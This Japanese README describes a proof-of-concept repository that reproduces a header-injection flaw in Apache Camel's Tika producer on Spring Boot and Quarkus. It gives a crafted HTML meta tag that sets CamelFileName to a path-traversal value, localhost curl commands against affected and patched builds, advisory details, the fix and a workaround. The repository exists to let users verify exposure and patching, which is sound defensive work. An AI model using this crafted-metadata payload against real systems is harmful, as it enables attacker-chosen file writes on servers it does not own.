
CamelFileName を設定)Apache Camel の脆弱性に対する実行可能な概念実証(PoC)再現ツールです。この脆弱性では、Tika プロデューサーが送信されたドキュメントから解析したすべてのメタデータキーを、フィルタを一切適用せずに Exchange のヘッダーにマッピングしていました。ドキュメントのメタデータは攻撃者が制御できるコンテンツです。ファイルを提供する側が、そのファイルに含めるメタデータキーを選択できます。したがって、細工されたドキュメントは、ルートの残りの部分が依存する Exchange ヘッダーを設定でき、CamelFileName のような Camel 名前空間のヘッダーも含まれます。これはダウンストリームのコンポーネントがコンテンツの書き込み先を決定するために使用されます。これはコンシューマーのアドバイザリと同じヘッダーインジェクションの分類ですが、ここではプロトコルヘッダーではなく、解析されたファイルコンテンツを通じて到達します。
| ランタイム | ディレクトリ | スタック |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-tika 4.22.0(影響あり、修正版 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.39.0 + camel-quarkus-tika(Camel 4.22.0、影響あり、修正版コントロール CQ 3.40.0 / Camel 4.22.1) |
両方のモジュールが、影響を受ける動作および修正された動作を実演します。
攻撃者は HTML ドキュメントを送信します。HTML の <meta name="..."> 属性はそのまま Tika のメタデータに到達するため、ドキュメントがヘッダー名を選択できます:
<meta name="CamelFileName" content="ATTACKER-SET-../../pwned.txt"/>
<meta name="author" content="legitimate-metadata"/>
ルートは単に from(...).to("tika:parse") です。パース後、Exchange ヘッダーが検査されます。
CamelFileName(Exchange.FILE_NAME)がドキュメントから攻撃者の値に設定されます。下流の
ファイルプロデューサーは、その攻撃者が選んだ値を使ってコンテンツの書き込み先を決定します。CamelFileName はフィルタリングされ(ドキュメントから設定されません)、一方で author のような通常のメタデータは
引き続きマッピングされます — フィルターは Camel 内部の名前空間のみをブロックします。# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: document sets CamelFileName; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85249-tika-header-injection-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: CamelFileName filtered; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.22.0): document sets CamelFileName
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: CamelFileName filtered
| 項目 | 値 |
|---|---|
| コンポーネント | camel-tika (TikaProducer.convertMetadataToHeaders) |
| CWE | CWE-20 (不適切な入力検証) |
| 重大度 | MEDIUM |
| 攻撃ベクトル | 解析されたメタデータが Camel 内部のヘッダー名を宣言する文書の送信 (例: HTML の <meta name="CamelFileName"> 経由) |
| 影響 | ヘッダーインジェクション: 文書がルートの依存する Exchange ヘッダーを設定する。例えば CamelFileName は下流コンポーネントがコンテンツを書き込む場所を決定する |
| 影響を受けるバージョン | 4.0.0 から 4.18.5 より前、4.19.0 から 4.22.1 より前 |
| 修正済みバージョン | 4.18.5、4.22.1、4.23.0 |
| JIRA | CAMEL-24423 |
| クレジット | Claude Security Scan Tool |
アドバイザリ: https://camel.apache.org/security/CVE-2026-85249.html
TikaProducer.convertMetadataToHeaders は、解析された各メタデータ名を Exchange にマッピングする前に HeaderFilterStrategy (inFilterStartsWith("Camel", "camel", "org.apache.camel.") で設定され、大文字小文字を区別しない) を通してフィルタリングするようになりました。これは、コンシューマーが外部送信者から提供された名前をフィルタリングするのと同じ方法であり、これにより文書が Camel 内部の名前空間に属するメタデータ名を宣言できなくなります。その名前空間外のメタデータは引き続きマッピングされます。
Tika プロデューサーの後に removeHeaders("Camel*") を使用して Camel 名前空間を削除してから、それらのヘッダーに作用するコンポーネントに渡してください。
このリポジトリは教育および防御目的で公開されています。Apache Camel ユーザーが脆弱性を理解し、影響を受けているかどうかを確認し、アップグレードによって解決されることを確証できるようにするためのものです。作成された文書および注入されたファイル名は、無害なローカルフィクスチャです。所有または運用していないシステムに対してこの資料を使用しないでください。